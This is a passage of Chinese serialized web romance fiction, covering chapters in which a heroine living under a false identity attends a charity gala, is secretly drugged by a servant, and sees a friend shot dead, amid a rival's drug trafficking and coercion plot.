韩聿泽闻言笑了笑,“那点量哪够啊?” 说完他对着站在一边的裴书使了个眼色,裴书面无表情的又拿出来两包白色的粉末递给司南赫。 司南赫看着递过来的两袋东西,迟迟不肯接。仔细看,他垂在身侧的手都在抖。 良久,他才开口说道:“我要先见菱姨。” 韩聿泽摆弄着桌上被他剃光了刺的仙人球,淡淡道:“你现在没有资格跟我谈条件。” “司南泽!” 司南赫大步冲上去想要揍他,但是却被裴书拦住了,“三少爷,请您自重。” 司南赫双目猩红,呼吸都都变得不顺畅了,表情难看。韩聿泽轻轻笑了一声,不再摆弄那个光秃秃的仙人球,对他说:“这次的量比上次大,记得少量多次,不然会死。” 他不想要江淮之的命,只想要他染上毒瘾,变成阿愿最讨厌的人。 “三哥,不要这么动怒。做完这一次,我就让你见菱姨。你不耍花招,我也不会让她死。” 韩聿泽扬了扬下巴,他那张温柔的脸此时在司南赫的眼里堪比地狱里的修罗,恶毒又丑陋。 司南赫的口腔里都有了血腥味,最终颤颤巍巍的接过了裴书手里的那两袋东西。 ——— 韩聿泽带着姜梨去了黄浦江,倒计时结束后她又看到了一场专属于她的烟花秀。盛大又壮观,点亮了整片夜空。 姜梨仰头,看着天上五彩斑斓的烟花,想到了去年的跨年夜。 江淮之跟她求婚的时候,也送了她一场烟花秀。他当时还说:烟花短暂,但是我们永恒。(123章) 也不知道他现在还在不在樱洲。 等所有事情结束了,她回去之后他会不会骂她。 老男人被踩到底线会很凶的。 姜梨心里有些酸涩,她努力将突然冒出来的情绪压了下去。扭头去看旁边的韩聿泽,一下子就和他的视线对上,她的心脏猛的跳了一下。 他一直都在看她。 “是你送给我的?”姜梨眨了眨眼睛。 韩聿泽笑,“嗯,好看吗?” 烟花再好看也不过只有一瞬间,这场烟花也只是东施效颦。 “好看,谢谢六哥。”姜梨眉眼弯弯,她转过头,指了一下对面闪烁着“我爱樱洲”的电子屏幕,说道:“等我三十岁的时候,我想要全樱洲和全北城,还有全港城的电子屏幕上都是姜时愿。” 韩聿言看着她眼里亮起来的光,手掌摸了摸她的发顶,“你二十岁的时候就上过了。” 他指的是去年十一月份的时候,她和南诗奕生前拍的那段耍火刀的视频。还是因为这个,纪繁星才有理由把她带去港城,才干了一票大事。 姜梨摇头,纠正道:“那是姜梨,而且还是沾的阿南姐的光,也是司南赫花了钱才送上去的。” “合欢还有恨,名字是将离。楚云从我在她肚子里的时候就在诅咒我,她想要我痛苦的活一辈子。我想我哥大概也为我鸣不公,为了不让她如愿才给我取了时愿。我也不想叫她如愿,我也不想认命。” 她看着他,一字一句道:“我一定要让所有人都知道姜时愿的名字,我 要做最尊贵的女人,我要让所有人都仰望我、钦佩我。” “我要跟我哥一样,不管走到哪里都备受敬仰。哪怕是他身死,别人也都还记得他。感叹他的才华,惋惜他的陨落。” “我也想要政圈、商圈、娱乐圈的大佬前辈给我颁奖。” 她要热烈不凡,光明磊落的活一生。 而不是像现在这样,顶着别人的身份躲躲藏藏,像阴沟里的老鼠。 韩聿泽眼里缱绻的笑意淡了些。 眸色乌黑,目光深沉,像漫长无垠的夜。 喜欢他来时风起云涌。 第219章 输不起,不敢赌 在这场跨年夜即将结束的时候,韩聿泽不知道从哪摸出来一条项链,戴在了她的脖子上。本文搜:狐恋文学 免费阅读 姜梨低头看了一眼,是一条粉色的海螺珠项链。 海螺珠很稀有,这条项链价格不菲。 他说:“跨年礼物。” “谢谢六哥。”姜梨用粤语跟他道了谢。 这是她今晚喊的第二声六哥了。 “以前不是都叫六叔的吗?”韩聿泽轻挑了一下眉梢。 周围人很多,虽然不至于人挤人,但是离得近的还是多少能听到一点交谈声,叫六叔多少是有点奇怪。 “你不觉得叫六叔多少有点生分和见外吗?”姜梨小声嘟囔:“况且你还比我哥小一点,有点怪怪的,就好像是跟长辈不清不楚一样。” “又不是亲的,怕什么?” 韩聿泽顿了一下,不知道想到什么,眯了眯眸子。 “就算是亲的我也会喜欢你。” 姜梨:“………” 有病,变态。 回到司宅的时候已经是凌晨一点半了,但是姜梨始终都没有睡意,尽管她已经很疲乏了。 自从意外流产之后,她就开始整夜失眠。精神类药品她依旧不吃,都被她用催吐的方法逼了出来,但是安眠药她倒是每晚都不落。 睡觉之前,姜梨跟韩聿泽说了一件事。 “今天元旦,晚上会有一个商业晚宴,姜氏跟主办方有联合的合作要启动,沈翊刚刚发信息让我和他一起出席。” 韩聿泽知道那个商业晚宴。他也收到了邀请函,只是他没有时间去,就推掉了。 拿回姜氏有她大半的功劳,沈翊让她一起去也挺正常。 韩聿泽低眸,“想去就去吧。” 姜梨没想到他会答应的那么痛快,下意识问:“那你呢?” 这样的晚宴,他是司家人,不可能没有收到邀请,沈翊也说让她跟他一起到场。 “我要去一趟澳城,一会儿就走。”韩聿泽眼神微暗,倒也没瞒她,“有一批货要在那里进行交易,需要我亲自解决。” 姜梨知道他说的货是什么东西,微微愣了一下。过了良久,她才出声问:“这个………会有危险吗?要去几天?” “不会。”韩聿泽回答:“三天左右。裴书和裴诗会留在樱洲,你有事可以直接吩咐他们。” 姜梨应了声:“好。” 韩聿泽帮她掖好被子,关上了灯。 ——— 下午的时候,裴书带着一行人来了司宅。 送来了韩聿泽提前帮她准备好的礼服,让人给她做了一个妆造。 然后把她送到了宴会厅。 一身黑色西装的沈翊已经在门口等她了,他收起了以前装出来的浪荡样,沉稳又内敛,回头率百分百。 以前让人避之不及的纨绔,如今又成了人们嘴里的“贵公子”,不少千金小姐跟他攀谈。 沈翊礼貌的跟那些千金小姐说了声失陪,然后朝着那辆停在门口的黑色宾利走过去。 拉开车门,自然的伸出手,牵她下了车。 纯黑色的抹胸礼服,裙摆一层叠着一层,很蓬松。礼服点缀着亮片,灯光下像一颗璀璨的星。 短发盘起,露出修长的脖颈。 化了一个淡妆,给略带病气的脸色添了一点血气。她目光清冷,像一只优雅又高贵的黑天鹅。 “她怎么长得有点像姜梨啊?” “对啊,简直一模一样…….” 很快就有人认出了姜梨,围在一起小声的窃窃私语。 姜梨轻飘飘的扫了她们一眼,眼神凌厉又强势,巨大的压迫感吓得那几个女人立马噤了声,不敢再瞎讨论。 “宴会结束我会把阿愿送回司宅。”沈翊对裴书说。 韩聿泽没有来,姜梨是以沈翊的女伴出席,裴书自然是不能跟进去,于是点了点头,然后驱车离开。 姜梨挽着沈翊的胳膊,和他入了场。 他们的位置被安排在了第一排。 姜梨思考了很久,最后决定让青森疗养院和一家孤儿院合并,作为一个新项目纳入慈善机构。 今天举办的晚宴就是为了这个。 这个慈善机构由多人出资成立,已经存在几十年。公益性强,所以存在悠久,北城和樱洲的不少商业大佬都有参与,有成立项目的,也有出资 扶持的。 四年前,姜梨成立青森的初衷不止是为了复仇,也是为了慈善。 当初江淮之是在疗养院被领回来的,那里的条件和环境并不是很好,住在里面的人也都是被父母抛弃的人。年纪上至十八,下至婴孩。因为资金不足所以医疗水平有限,导致许多年纪小的孩子没能得到有效的治疗而丧命。 江淮之那时刚被带走的时候也差点儿活不下来。 姜梨那时就有了一个想法,长大有钱了她就去帮助这个群体,让那些被父母抛弃的孩子平安长大,少受些苦楚。 所以才有了青森。 今天这个慈善机构新投入了四个项目,“青森”是其中之一。不然就冲姜氏最近的状况,沈翊是绝对不会被安排在第一排的。 这时来了一个胆子大的勇者,她直接问了沈翊:“沈总,您旁边的这位小姐是……?” 沈翊脸不红心不跳的回答:“沈愿,我堂妹。” 神他妈沈愿,沈翊趁虚故意占她便宜!他哪里来的什么堂妹?! 姜梨皮笑肉不笑的瞪了他一眼。 “哦~原来如此。” 等人走后,姜梨骂了他一句:“痴线。”(神经) “司南泽看你看得那么紧,跟眼珠子似的,怎么今天没跟你来?”沈翊不理会她的骂声,凑过去小声问她:“他对你这么放心?” “呵。”姜梨冷笑了一下,“想太多。人跑澳城交易去了,还不忘记来试探我。” 澳城?交易? 沈翊看向她,“毒品交易?” 姜梨嗯了一声,然后警告他:“这事你别管,也别跟纪繁星说。谁知道是不是真的,万一他是为了试探我故意那么说的,会害死人的。” 沈翊明白她的意思。如果是假的,一旦姜梨把消息传递出去了,警方去抓人就是自投罗网。 她还会失去信誉,那一切都白费了。 不过……… “那如果是真的呢?不就错失良机了吗?” “这可不是赌桌,输了的话丢的可不是钱这么简单了。”姜梨垂下眼帘。 第220章 他的玫瑰开花了 姜梨说话的时候沈翊的身体朝她那边靠,低头认真的听她讲,也不知道他说了什么,惹得姜梨气得瞪他。搜索: 今晚吃鸡 本文免费阅读 眼中的冷厉化开不少,清冷疏离的脸上有了几分生动。 江淮之穿过人群,遥遥盯着那道身影。 她瘦了不少,圆润的下巴都尖了,脸小了一圈,露出来的手臂也很纤细。 两个人引来不少视线。 举止亲密但是大方,倒没有被人误会成情侣,反倒真的很像相爱相杀的兄妹。 与江淮之攀谈的人笑了笑,“刚刚就听到有人说沈总今天带来的这位女伴跟已经去世的姜小姐长得非常相像,您觉得今天这位小姐跟您的养妹像吗?” 江淮之漠然的收回视线,“北城才女不是谁都能碰瓷的。” 那人听懂他的意思,见他眼神疏冷淡漠,也不再疑虑。 直到晚宴即将开始的前五分钟,江淮之才落座。他的位置也被主办方安排在了第一排,恰好就在姜梨的旁边。 剪裁合体的深色西装衬得他愈发挺拔,笔挺的西装裤包裹着修长的腿。颈间打着同色系的领带,一丝不苟,优雅又矜贵。 他步履从容的走到姜梨身旁,然后坐下。 全程都没有看过姜梨一眼。 姜梨却是一直在看他,直到他在身边坐下她才收回视线。 他身上那股雪松香飘进她的鼻尖,余光看到他手上还戴着婚戒,姜梨心里蓦然一紧,心脏“怦怦”跳动,手指暗自抓紧了裙摆。 沈翊看两人互不搭理、装作不熟的样子,哼笑了一下。 本来想逗逗姜梨犯个贱,看着她消瘦不少的小身板也就算了。他前几天见过她没化妆的样子,苍白虚弱得很,怕把她给气病了。 所有宾客都已经入座,晚宴也正式开始。 开场就是要新入伙的项目人上台,然后把项目名称的铭牌贴到背景板上。 姜梨这才知道和青森合并的那个孤儿院是陆临的,沈翊是跟他谈成的合作。 她眼睛看了一圈,在第一排最末端的位置看到了陆临的身影。刚刚太暗了,她真没注意到陆临和陆七都在现场。 主持人念到“青森蓝鲸”,让沈翊和陆临一同上台的时候沈翊没有动,而是看向了一边的姜梨,意思很明显,是让她上去。 青森是她凭一己之力创办的,于情于理都该是她上去挂铭牌。 礼服的裙摆有些重,脚上还穿着一双恨天高,走得很慢,陆临跟在她旁边也走的慢。 上台阶的时候,陆临扶了她一下。 礼仪小姐端着托盘,上面就摆放着青森蓝鲸的铭牌,还有两支签字笔。 在背景板上签字的时候,姜梨先写了沈翊的名字,然后才写了自己名字的缩写:s.y。 姜梨本身的身高只有一米六,脚上的那双高跟鞋是十厘米。前面放铭牌的人都往高了贴,姜梨想放在最高处,一米七的海拔还是不够。 陆临站在她旁边,知道她的意图后扯了扯嘴角,然后抬起胳膊,帮她把铭牌贴在了最顶端。 “我就是觉得她跟姜梨长得一模一样……” “那是沈翊他娘家的人,他妹妹。而且姜梨一直都是温婉大方的,哪里有这么冷?刚刚在门口,她那个眼神凌厉的能吓死人………” “你看前面坐的那位太子爷不也没有跟她搭话吗?太子爷刚刚都说了,北城才女不是谁都可以碰瓷的。哎呀,少说两句吧,哪里有人喜欢被别人说长得跟死人一样啊?” “嘘嘘——” 铭牌群不挂完,项目合伙人要一同站在舞台上和慈善机构的股东合影,还会有股东给他们献花,感谢他们信任机构,对慈善事业的支持。 姜梨看着眼前给自己献花的人,一时间有些恍惚。沈翊看向那个男人,神情有些复杂。 时樾见她盯着自己发愣,轻咳了一声,低声提醒她,“接花。” 姜梨猛然回神,忙不迭把他手里的那一束向日葵接了过来,“谢谢。” “不客气。”时樾浅笑。 随着主持人最后一句祝词结束,台下掌声不断。 台上站着不少人,江淮之的视线始终落在姜梨身上。他嘴角微微上扬,好看的丹凤眼弯了起来,与有荣焉。 她十八岁那年为了复仇创办青森,这几年瞒得滴水不漏。 大仇得报,在即将二十二岁的这一年,让一直在地下运营了四年的青森重见天日,光明正大的进入了大众视野 ,让所有人都赞不绝口。 她很聪明,也很勇敢。 他的小玫瑰,要开花了。 ——— 宴会还没有结束,宴会厅里有许多的服务生。 沈翊在跟别人攀谈,姜梨坐在位置上有些无聊,视线环顾了一圈,刚想起身站起来,就被人叫住了。 “小姐。” 姜梨抬头,看到了时樾。看到那张酷似她哥的脸时,眼睫轻颤了一下。 近距离看,好像更像了。 时樾礼貌温和的开口:“可以跟我单独合张照吗?” 沈翊刚刚说,时樾是慈善机构的股东,也是“青森蓝鲸”的最大投资人,是他们的金主爸爸。 对于金主爸爸,那当然是要抱紧他的大腿。 姜梨笑了笑,“当然可以。” 时樾叫来场内的摄影师,单独为他和姜梨拍了一张合照。 他站在她旁边,抬起手想揽她的肩膀,想到什么,觉得不合适又放了下去,只默默的朝她靠近了一些。 姜梨看到了他的动作,不知道怎么想的,就主动大方的挽住了他的胳膊,时樾身体一僵,愣愣的看了她一眼。 “看镜头。”姜梨说。 摄影师按下快门,“咔嚓”一声。 查看成像的时候摄影师被惊艳了一下,然后夸赞:“这是今天最好看的神图,都不用修了。” “像豪门兄妹。”时樾和姜梨站在一起,眉眼还真的有点相像,但是这点摄影师没说出来,帅哥美女都是有相似点的。 时樾没有再和姜梨有交流,只是对摄影师说这张照片不要公开,单独发给他。 姜梨拿了一杯香槟,独自来到露台。比起外面的繁华热闹,这里没有几个人,清净了不少。 她刚想一饮而尽,这时一名侍者跟过来喊住了她。 “小姐,这是一位先生让我给您的。”他手里端着一个托盘,放了一杯橙黄色的果汁,“让我转告您,您不宜饮酒。” 姜梨顿了一下,看向那杯果汁,心脏又“怦怦”地跳了起来,像小鼓轻敲。 她把香槟放了回去,端起那杯果汁,“谢谢。” 一楼庭院,正在与人相谈的江淮之抬头看向露台,正好和姜梨视线相对。他扫了眼她手里的橙汁,弯了弯唇。 而后朝她举杯,遥遥敬她。 姜梨捏紧杯子,然后将果汁一饮而尽。怕被人看到,她有些仓皇的离开了露台。 还没到大厅,就被一个人一把拽进了旁边的休息室里,然后“咔哒”一声,门被反锁了。 室内没有开灯,伸手不见五指,姜梨被吓了一跳。惊呼声还没发出来,就被一只大掌捂住了嘴。 “嘘——!” “是我。” 第221章 水有问题 听到熟悉的声音,姜梨提到嗓子眼的心并没有落下去,反而更慌了。本文搜:看书屋 免费阅读 她总觉得她今天晚上会因为心悸而死。 姜梨呼吸都不顺畅了,一把扯开他捂着嘴的手,低吼:“谢鹤扬!你怎么还在这?!” 晚宴人这么多,也不知道有多少人是跟韩聿泽狼狈为奸的,他居然敢出现在这里! 谢鹤扬是假扮成侍者混进来的,他说:“韩聿泽又不在,不要太紧张。” “楚卿然呢?” “他成天跟个幽灵一样乱飘,这会儿已经去澳城了,说有任务。” 澳城?韩聿泽去澳城,楚卿然也去澳城?这么巧吗? “孩子的事情……”谢鹤扬突然问:“江淮之他知道吗?” “不知道,连沈翊和纪繁星都不知道,我让夏栎不要告诉他们。” 不知道也挺好的。 黑暗里,谢鹤扬看着她的眼神闪了闪,对她说:“我刚刚也见过沈翊了,你们两个现在最好离江淮之远一点。” “他给的东西不要乱碰。” 姜梨愣住,“你这是什么意思?” 谢鹤扬今天会在这里不是意外,也不是一时兴起。他前几天亲眼看到江淮之去了樱洲医院,一直到晚上才出来,还是被洛骞绑着出来的。 然后送去了戒毒所。 今天他特意观察了,发现江淮之的身上有注射针孔。 不过谢鹤扬并没有告诉她,而是对她说:“你今天露面了,有多少人盯着你?我怕你跟他交集太多,会暴露你就是姜梨的事情。” “现在风头还没过去,沈家灭门,但是楚家还有人在,剩下的余孽不会放过你。还有那些断了财路的人,也不会放过你。” 姜梨这个名字,没有犯罪的人只知道她是北城才女,是大义灭亲的勇士。 然而对于那些犯罪的人来说,是仇人。 他说的是事实,姜梨默认。 谢鹤扬不能待多久,便让她出去早点跟沈翊回去。 姜梨走后,谢鹤扬翻窗离开了宴会厅。 回到司宅已经是十一点,临睡前裴书给她送了药。 这是韩聿泽临行前交代的,姜梨的药物由他保管,每天定时按量送给她,看着她吃下去。 姜梨没有多想,接过他递来的水,老实的把药吃了下去。 等人走了之后,姜梨又用老办法把药都吐了出来。从床垫底下倒腾出她私藏的安眠药,放进了嘴里。 裴书下到一层,裴诗还没走,在等他。 裴诗看他下来,立刻迎了过去,“怎么样?” “办妥了。”裴书盯着她的眼睛,哑声:“想好了吗?你一旦做了这件事,为了姜梨,先生回来绝对不会放过你的。” 听到他的话,裴诗仿佛有感觉到脖子灼伤的痛感,眼里闪过痛色。随即她讥讽的勾了勾唇角,“裴书,你说话还真是一如既往的难听。” “………”这已经不是裴诗第一次说他讲话难听了,但是其他人都是说他一针见血,挺犀利。 怎么听都是夸奖,就只有裴诗说难听。 算了,她说难听就难听吧,裴书没有反驳。 裴诗剜了他一眼,还真是个木头。 半夜,安静的卧室炸起一串铃声。 沈翊迷迷糊糊醒来,胡乱的捞起手机划了接听,“喂………” “夏栎被夏家人抓了,我不方便露面,你赶紧去救人!” 纪繁星焦急的声音传进沈翊的耳朵,犹如一道惊雷在他耳边炸开,顿时睡意全无。 他猛的从床上坐起来,一边穿衣服一边说:“既然是夏家抓的人,你联系姜梨啊!让她跟司南泽通气放人!” “不知道为什么,我打了十几个她都不接!你赶紧!” 沈翊拿上车钥匙,上车后一脚油门踩到底,飞速朝着夏家的地址驶去。 ——— 废弃的厂房弥漫着灰尘的味道,夏栎被人绑在椅子上,全身都被鞭打的血淋淋的,已经奄奄一息。 在她快要晕厥过去的时候,一盆冰水倾泻而下,刺骨的冷让她昏沉的意识变得清晰。 她睁开眼睛,死死盯着面前的人。 是夏清,夏家最小的小女儿。 女人弯着腰,挑起她的下巴,抚摸她这张整过容的脸,“我亲爱的妹妹,多年不见,你这副硬骨头怎么变软了?当初你可是被硫酸侵蚀都不会喊一声的。” 夏栎喉咙沙哑,声音颤抖:“我从来都没想过要和你争,我隐姓埋名、改头换面的过了六年,你为什么还是不肯放过我?” “因为你才是夏家的亲女儿,只要有你在一天,我就永远不得安宁。”夏清突然像变了个人一样,满眼怨毒的看着夏栎,“谁让你当初非要回夏家的!你好好的待在孤儿院里会怎样?!” “就是因为你突然出现,我在夏家的地位才大不如前!现在突然跑回樱洲乱晃,还敢说不想跟我争?” 说着她甩开她的脸,捡起地上的绳子勒住了夏栎的脖颈。 夏栎早就被她折磨的伤痕累累,现在半点力气都使不出来,苍白的脸因为窒息胀成了 紫红色,眼睛翻白。 “砰!”的一声,大门被人一脚踹开。 一束白炽灯照了进去,沈翊看着里面的情势,冲进去一把揪住夏清的衣领,将她甩在了地上。 一群黑衣保镖接踵而至,将她擒拿。 夏清的眼前出现了一双笔直的双腿,她缓缓抬头,看到夏时序冷若冰霜的脸时,怨毒的嘴脸一下子变得恐惧起来,“大………大哥………” 夏时序没有搭理她,看她的眼神像是在看一件死物,冷声对保镖吩咐:“带下去!” 然后去查看夏栎的伤势。 沈翊已经把夏栎打横抱起,连个正眼都不给他,“人我就带走了,夏总请回吧。” 今天的事情夏时序自知理亏,一言不发的跟在沈翊他们的车后面,护送他们去医院。 姜梨这一觉睡得极其不舒服,耳边的铃声一直在想,她抬起沉重的眼皮,伸手想去接电话却怎么也抬不起来。 感觉身体麻痹了。 她做过很多次的电休克,这种感觉………她再熟悉不过了。 像被注射了麻药。 突然她的脑海里闪过一帧画面,裴书在她喝水的药里下东西了! 这时姜梨的右眼皮跳了一下,心脏跳的厉害,巨大的不安朝她涌了上来。 姜梨用力咬了一下自己的舌尖,疼痛感让她清醒过来。她爬起来,手机屏幕还在闪烁,费力的在最后一秒按下了接听。 第222章 沈翊去世 姜梨从床上爬起来,跌跌撞撞的跑出去。首发免费看书搜:求书帮 一楼的灯亮着,裴书一夜未眠。 见姜梨突然下来,他惊了一下,“时愿小姐,您这是……” 水里放的麻醉剂量虽然不大,但是姜梨服用的药里有安眠药。就算是有人给她打电话报信,她也不可能这么快就醒过来。 “开车,送我去医院。”姜梨现在有更重要的事,暂时没有那个闲工夫找他算账。 裴书起初没有动,但是见姜梨一个人往外跑,他咬了咬牙,还是追了上去。 凌晨五点,车子在无人的道路上飞速行驶。 姜梨到医院门口时,夏栎已经躺在了担架床上,正在被几名医生往医院里送。 除了沈翊在,他们身后还跟着几个陌生男子,似是主子和保镖。 姜梨火急火燎的拉开车门,“沈翊!” 沈翊跟上去的脚步一顿,看向奔过来姜梨,看她脸色不对,眉头一皱,“你怎么现在才来?出什么事……” 裴书下车,视线绕了一圈。最终在对面那栋大楼看到了隐藏起来的裴诗,她架着狙击枪,枪口已经对准了姜梨。 他大惊,裴诗想对姜梨开枪!她疯了吗!? 裴书立刻想去保护姜梨,但是已经来不及了。 “砰——”的一声,子弹与他擦肩而过。 沈翊脸色一变,立马扶住姜梨的肩膀将她护到了怀里。 那枚子弹打在了沈翊的后背。 紧接着又是“砰砰砰”三枪,都打进了沈翊的身体里,枪枪都是要害。 姜梨的眼睛瞪大,耳边“嗡——”的一声,什么都听不到了。 夏时序所带的保镖立马将他围在身后,他抬起头,顺着枪声的方向看过去,一个包裹严实的背影迅速从大楼天台离开。 凌晨安静的医院骤然变得兵荒马乱起来,尖叫声和呐喊声此起彼伏,一群医护人员收到消息匆匆赶来。 沈翊被送进了抢救室。 姜梨一动不动的站在门口,眼睛木讷的盯着亮着的红灯,像被抽走了灵魂的朽木。 早上八点。 仪器的嘀嗒声在空荡的病房里回荡,姜梨蹲在病床边,苍白的嘴唇紧抿着,眼眶红的似是要滴血。 沈翊的全身插满了管子,一张脸白的几近透明,他看着姜梨的眼睛,突然笑了。 那双眼睛,是他死去的爱人留在这世上唯一的痕迹。 他缓缓抬起手,冰凉僵硬的手指轻抚姜梨的眼皮。姜梨一顿,配合的闭上眼睛。 “其实我早就该死了,没什么好伤心的。”沈翊的声音钻进姜梨的耳朵,刺激她的泪腺。 四颗子弹,都打中了他的要害,内脏器官严重受损,已经无力回天,现在不过是残留着一口气。 姜梨喉咙肿胀,发不出声音。 “我死后,想和林遥埋在一起。”沈翊的呼吸开始急促,旁边的机器开始报警。他的眼睫颤了颤,嘴巴一张一合,姜梨听不清他的话,凑近了一些。 “大哥,他没有死………” “时樾就是,姜祈安,他还活着。” “嘀———” 心电监测的曲线变直,沈翊的眼皮合上,手也重重的垂了下去。 “二哥,二哥!!”姜梨轻拍着他的脸,然后扭头大喊:“医生!医生!!!” 门外站着的夏栎听到里面姜梨撕心裂肺的哭喊,泪水一瞬间决堤而出。心脏仿佛被硬生生撕成两半,痛的呼吸困难。 如果不是为了去救她,如果沈翊没有把她送到医院,如果不是因为她。 沈翊根本不会死。 “夏夏……”夏时序的手刚碰到她的肩膀,就被她用力的一把推开。 “别碰我!!!”夏栎伸出手指着他的鼻子,“都是因为你们!全是因为你们!为什么你们夏家就是不愿意放过我!!” 她的左臂反复受伤,现在还挂在胸前固定,夏时序怕她伤到自己,退后了一米。“好,我不碰你,你冷静些。” 夏栎觉得呼吸愈发困难,没过几秒,她眼前一黑又晕了过去。 ——— 沈翊的尸身当天就被火化,姜梨抱着骨灰盒从殡仪馆出来,樱洲下了这个冬季的第一场雪。 姜梨又去了一趟沈家别墅,去收拾沈翊的遗物。 用沈翊最后交给她的钥匙挂坠,打开了一直被锁着的床头柜,里面放着一沓汇款单,还有几张照片。 一张一张翻看,姜梨终于忍不住开始痛哭。 以前林遥每个月都会收到一笔陌生的汇款,不多也不少,每个月4000块,她一直以为是她妈妈汇给她的。 可事实却是,那些钱都是沈翊给她的。最早的日期是在五年前,林遥刚到沈家的时候。 照片是林遥在学校的生活照,还有唯一一张,沈翊和他妈妈的合照。 林遥和沈翊在同一所学校,他却不曾入过镜。 沈翊从未表现出来半分对林遥的特别,一直到他们死,这份暗恋都不曾被任何人窥探出来,包括林遥自己。 知道他的爱的,也只有他自己。 姜梨抱着这些东西,哭的几乎肝肠寸断。 一月三号,沈翊下葬。世上再无一个亲人的他葬礼非常简单,来的人并不多。 按照沈翊的遗愿,姜梨让他和林遥合葬。她跪在墓前,将搜出来的汇款单和照片都烧了。 至此,沈翊八年的暗恋终于被人知晓。他所伪装出来的纨绔和多情的面具被揭开,骨血里尽是情深和重义。 姜梨在墓园里跪了一天。 雪没停,风也大。陆临站在她身边,举着一把大伞,微微倾斜悬在她的头顶。 她和夏栎两个人忙前忙后处理了沈翊的后事,夏栎负伤所以病倒了,被她的旧相识陆七带走了。 对于这个姜梨没有阻拦。夏家是豺狼,司宅是虎豹,对于夏栎来说,陆家是最安全的地方。 “你要去哪?” 见姜梨突然站了起来,陆临赶紧扶住她。 她的眼神空洞,拨开陆临扶着她的手,语气冷漠:“跟你无关。” 姜梨冷冷看着陆临这张脸,心里却一遍遍在说:别再管我了,别再靠近我了。 南诗奕死了,林遥死了,沈翊死了。 她不想再害任何人。 姜梨冒着雪离开了墓园。 摸出手机看了一眼,眼里升腾起一阵杀意。 她拦了一辆出租车,沙哑着嗓子报了一个地名:“醉春楼。” 喜欢他来时风起云涌。 第223章 摊牌:许愿你早点下地狱 韩聿泽到家的时候已经快十一点了。首发免费看书搜:e小说 本该八点就能到的,但是今天雪下得很大,路上的积雪很深,堵车堵了好一会儿。管家跟他说,姜梨从二号到今天没有进过食,连一滴水都没有喝。回来之后佣人准备好了饭菜,看都不看一眼。韩聿泽让人重新准备,然后盛了一碗姜汤,端着上了楼。姜梨没有睡着,安安静静的躺在床上,眼睛直直的盯着天花板,眼神空洞木讷。一直到韩聿泽推门进来她都没有丝毫反应。沈翊的事情,他是在新闻上看到的,但那时葬礼都已经快结束了。裴书和裴诗没有告诉他。他给姜梨打了十几通电话,都没有接,最后甚至被拉黑了。就连裴书和裴诗的电话都打不通。在来的路上,他问了其他人,大概了解了整件事情的来龙去脉。再结合裴书裴诗知情不报,电话打不通,以及姜梨拉黑他的做法,韩聿泽的心里已经有了底。沈翊的死,跟裴书和裴诗脱不了干系。姜梨的眼睛有些红肿,眼白里都染着红血丝,看着像是哭了很久。嘴唇苍白没有血色,裂了几道口子。韩聿泽抿了抿唇,舀了一勺姜汤,吹了吹,然后喂到她嘴边。姜梨分开黏在一起的唇瓣,声音嘶哑:“裴诗和裴书,在哪?”“我不知道。”撒谎。姜梨面无表情的撇开头,不愿意喝。她紧抿着唇,不吭声,也不看他。“阿愿。”韩聿泽似是无奈叹气的喊了她一声。之前没有出人命,她都想要杀了裴诗讨回来。这次沈翊死了,姜梨更不会善罢甘休。韩聿泽自知理亏,只能软着语气先哄她:“我会处理好,给你一个交代。”“先喝一点,行吗?”姜梨分开黏在一起的唇瓣,声音嘶哑:“杀死沈翊的是裴诗,在我喝的水里下药的是裴书。你说你会处理好……那就是说你会杀了他们,对吗?”“我会罚他们。”也就是说,他不会杀他们,沈翊的命也没有人能偿还。“呵。”姜梨冷笑。啪——她猛地打开他手里的碗和汤勺,滚烫冒着热气的姜汤全部浇在了他的手上,白皙的手背被烫的红了一大片,阵阵刺痛。被子和床单上也被淋湿了一块。碗和勺砸在地上,摔得粉碎。“如果是我哥,或者是江淮之,早在裴诗第一次害我的时候就已经被丢到江里喂鱼了。”江淮之这三个字,刺激到了韩聿泽的大脑神经。姜祈安也说过同样的话,觉得他比不上江淮之。明明是他先认识阿愿的,明明是他先喜欢她的!没有发生那些意外,阿愿早就该是他的!江淮之凭什么跟他争? 如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她 